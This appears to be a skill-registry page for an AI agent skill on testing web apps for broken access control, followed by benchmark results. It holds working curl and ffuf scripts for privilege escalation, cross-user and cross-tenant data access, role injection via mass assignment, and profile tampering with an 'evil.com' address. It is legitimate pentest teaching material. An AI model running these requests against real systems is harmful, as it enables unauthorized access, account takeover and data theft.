Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Systematically testing web applications for broken access control vulnerabilities including privilege escalation, missing function-level checks, and insecure direct object references.
.claude/skills/testing-for-broken-access-control/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-01 | ✗→✓ | ▲ Improved | — | — |
| case-06 | ✗→✓ | ▲ Improved | — | — |
| case-04 | ✗→✓ | ▲ Improved | — | — |
| case-03 | ✗→✓ | ▲ Improved | — | — |
| case-16 | ✗→✓ | ▲ Improved | — | — |
Document every endpoint and the expected access level for each role.
bash# Extract all endpoints from Burp Site Map # Target > Site Map > Right-click > Copy URLs in this host # Build a matrix of endpoints vs roles: # | Endpoint | Admin | Manager | User | Guest | # |-----------------------|-------|---------|------|-------| # | GET /admin/dashboard | Allow | Deny | Deny | Deny | # | GET /api/users | Allow | Allow | Deny | Deny | # | PUT /api/users/{id} | Allow | Deny | Own | Deny | # | DELETE /api/posts/{id} | Allow | Allow | Own | Deny | # Discover hidden endpoints ffuf -u "https://target.example.com/FUZZ" \ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \ -mc 200,301,302,403 -fc 404 \ -H "Authorization: Bearer $USER_TOKEN" \ -o endpoints.json -of json # API endpoint discovery ffuf -u "https://target.example.com/api/v1/FUZZ" \ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \ -mc 200,201,204,301,302,401,403,405 -fc 404 \ -H "Authorization: Bearer $USER_TOKEN"
Set up Burp Authorize extension for parallel role-based testing.
# Install Authorize extension:
# Burp > Extender > BApp Store > Search "Authorize" > Install
# Configuration for three-tier testing:
# 1. Browse the application as Admin (capture all requests)
# 2. In Authorize tab:
# a. Add Regular User's session token in "Replace cookies/headers"
# b. Optionally add a second row for Unauthenticated (no auth header)
# Example header replacement setup:
# Row 1 (Low-privilege user):
# Cookie: session=low_priv_user_session
# Authorization: Bearer low_priv_token
#
# Row 2 (Unauthenticated):
# [Empty - removes all auth headers]
# Enable interception in Authorize:
# - Check "Intercept requests from Proxy"
# - Check "Intercept requests from Repeater"
# Authorize shows results as:
# Green = Properly restricted (different response for different user)
# Red = POTENTIALLY VULNERABLE (same response regardless of role)
# Orange = Uncertain (needs manual verification)Attempt to access higher-privilege functionality with lower-privilege accounts.
bash# Collect tokens for each role ADMIN_TOKEN="Bearer admin_jwt_here" MANAGER_TOKEN="Bearer manager_jwt_here" USER_TOKEN="Bearer user_jwt_here" # Test admin endpoints with user token ADMIN_ENDPOINTS=( "GET /admin/dashboard" "GET /admin/users" "POST /admin/users/create" "PUT /admin/settings" "DELETE /admin/users/5" "GET /admin/logs" "GET /admin/reports/export" "POST /admin/backup" ) for entry in "${ADMIN_ENDPOINTS[@]}"; do method=$(echo "$entry" | cut -d' ' -f1) endpoint=$(echo "$entry" | cut -d' ' -f2) echo -n "$method $endpoint (as user): " status=$(curl -s -o /dev/null -w "%{http_code}" \ -X "$method" \ -H "Authorization: $USER_TOKEN" \ -H "Content-Type: application/json" \ "https://target.example.com$endpoint") if [ "$status" == "200" ] || [ "$status" == "201" ]; then echo "VULNERABLE ($status)" else echo "OK ($status)" fi done # Test with method override headers curl -s -o /dev/null -w "%{http_code}" \ -X POST \ -H "Authorization: $USER_TOKEN" \ -H "X-HTTP-Method-Override: DELETE" \ "https://target.example.com/admin/users/5" # Test with different HTTP methods for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do echo -n "$method /admin/users: " curl -s -o /dev/null -w "%{http_code}" \ -X "$method" \ -H "Authorization: $USER_TOKEN" \ "https://target.example.com/admin/users" echo done
Verify that users cannot access resources belonging to other users at the same privilege level.
bash# User A (ID: 101) testing access to User B's (ID: 102) resources USER_A_TOKEN="Bearer user_a_jwt" RESOURCES=( "/api/users/102/profile" "/api/users/102/orders" "/api/users/102/messages" "/api/users/102/documents" "/api/users/102/settings" "/api/users/102/payment-methods" ) for resource in "${RESOURCES[@]}"; do echo -n "GET $resource: " response=$(curl -s -w "\n%{http_code}" \ -H "Authorization: $USER_A_TOKEN" \ "https://target.example.com$resource") status=$(echo "$response" | tail -1) body_len=$(echo "$response" | head -n -1 | wc -c) if [ "$status" == "200" ] && [ "$body_len" -gt 50 ]; then echo "VULNERABLE ($status, $body_len bytes)" else echo "OK ($status)" fi done # Test write operations across users curl -s -X PUT \ -H "Authorization: $USER_A_TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"Hacked","email":"hacked@evil.com"}' \ "https://target.example.com/api/users/102/profile" -w "%{http_code}" # Test delete operations curl -s -X DELETE \ -H "Authorization: $USER_A_TOKEN" \ "https://target.example.com/api/users/102/documents/1" -w "%{http_code}"
Verify that specific functions enforce authorization properly.
bash# Test unauthenticated access to protected endpoints PROTECTED_ENDPOINTS=( "/api/user/profile" "/api/transactions" "/api/settings" "/admin/dashboard" "/api/export/users" ) for endpoint in "${PROTECTED_ENDPOINTS[@]}"; do echo -n "No auth: GET $endpoint: " curl -s -o /dev/null -w "%{http_code}" \ "https://target.example.com$endpoint" echo done # Test with expired/invalid tokens curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: Bearer invalid_token_here" \ "https://target.example.com/api/user/profile" # Test role manipulation in JWT claims # If JWT contains role claim, try modifying it # (requires JWT vulnerability - see JWT testing skill) # Test parameter-based role escalation curl -s -X PUT \ -H "Authorization: $USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"role":"admin","is_admin":true,"permissions":["admin","superuser"]}' \ "https://target.example.com/api/users/101/profile" # Test registration with elevated role curl -s -X POST \ -H "Content-Type: application/json" \ -d '{"email":"new@test.com","password":"Test123!","role":"admin"}' \ "https://target.example.com/api/auth/register"
Verify that tenant boundaries are enforced in multi-tenant applications.
bash# User in Tenant A testing access to Tenant B's resources TENANT_A_TOKEN="Bearer tenant_a_user_jwt" # Direct tenant resource access curl -s -H "Authorization: $TENANT_A_TOKEN" \ "https://target.example.com/api/organizations/tenant-b-id/users" | jq . curl -s -H "Authorization: $TENANT_A_TOKEN" \ "https://target.example.com/api/organizations/tenant-b-id/settings" | jq . # Test tenant switching via header curl -s -H "Authorization: $TENANT_A_TOKEN" \ -H "X-Tenant-ID: tenant-b-id" \ "https://target.example.com/api/users" | jq . # Test tenant ID in request body curl -s -X POST \ -H "Authorization: $TENANT_A_TOKEN" \ -H "Content-Type: application/json" \ -d '{"tenant_id":"tenant-b-id","query":"SELECT * FROM users"}' \ "https://target.example.com/api/reports/custom" # Enumerate tenant IDs ffuf -u "https://target.example.com/api/organizations/FUZZ" \ -w <(seq 1 100) \ -H "Authorization: $TENANT_A_TOKEN" \ -mc 200 -t 10 -rate 20
| Concept | Description | |---------|-------------| | Vertical Privilege Escalation | Lower-privilege user accessing higher-privilege functionality (user -> admin) | | Horizontal Privilege Escalation | User accessing another user's resources at the same privilege level | | Function-Level Access Control | Authorization checks on specific features/functions regardless of URL | | RBAC | Role-Based Access Control - permissions assigned to roles, roles assigned to users | | ABAC | Attribute-Based Access Control - permissions based on user/resource/environment attributes | | Multi-Tenant Isolation | Ensuring data and functionality separation between different organizations/tenants | | Insecure Direct Object Reference | Accessing objects by manipulating identifiers without authorization checks | | Missing Function-Level Check | Endpoint exists but does not verify the caller has permission to invoke it |
| Tool | Purpose | |------|---------| | Burp Suite Professional | Request interception and role-based testing | | Authorize (Burp Extension) | Automated access control testing across sessions | | AutoRepeater (Burp Extension) | Automatically replays requests with different auth contexts | | Postman | API testing with environment switching between roles | | ffuf | Discovering hidden endpoints that may lack access controls | | OWASP ZAP | Access control testing with context-aware scanning |
The /admin/dashboard endpoint returns the admin panel when accessed with a regular user's session token. The front-end hides the admin menu, but the back-end does not enforce role checks.
The DELETE /api/users/{id} endpoint checks for authentication (valid token) but not authorization (admin role). Any authenticated user can delete any other user's account.
A SaaS application uses tenant_id in API request headers. Changing the X-Tenant-ID header to another tenant's ID returns their data, bypassing tenant isolation.
The user profile update endpoint at PUT /api/users/{id} accepts a role field in the JSON body. Submitting "role":"admin" alongside a profile update elevates the user to administrator.
## Broken Access Control Assessment Report
**Target**: target.example.com
**Assessment Date**: 2024-01-15
**OWASP Category**: A01:2021 - Broken Access Control
### Access Control Matrix Results
| Endpoint | Admin | Manager | User | Guest | Expected | Actual |
|----------|-------|---------|------|-------|----------|--------|
| GET /admin/dashboard | 200 | 200 | 200 | 302 | Admin only | FAIL |
| DELETE /api/users/{id} | 200 | 200 | 200 | 401 | Admin only | FAIL |
| GET /api/users/other/profile | 200 | 200 | 200 | 401 | Own only | FAIL |
| PUT /api/users/other/settings | 200 | 200 | 200 | 401 | Own only | FAIL |
| GET /api/org/other-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL |
### Critical Findings
1. **Vertical Escalation**: Regular users can access /admin/* endpoints
2. **Horizontal IDOR**: Users can read/modify other users' profiles
3. **Tenant Isolation**: Cross-tenant data access via header manipulation
4. **Mass Assignment**: Role escalation via profile update endpoint
### Impact
- Complete administrative access for any authenticated user
- Full user data access across all accounts (15,000+ users)
- Cross-tenant data breach affecting 200+ organizations
- Account takeover via profile modification
### Recommendation
1. Implement server-side authorization checks on every endpoint
2. Use a centralized authorization middleware/framework
3. Enforce object-level authorization (verify ownership before access)
4. Validate tenant context server-side, never from client headers
5. Use allowlists for mass assignment (only permit expected fields)
6. Implement audit logging for all access control decisions| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted. The headline lift of +22 percentage points is the difference between those two pass rates over the 23 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.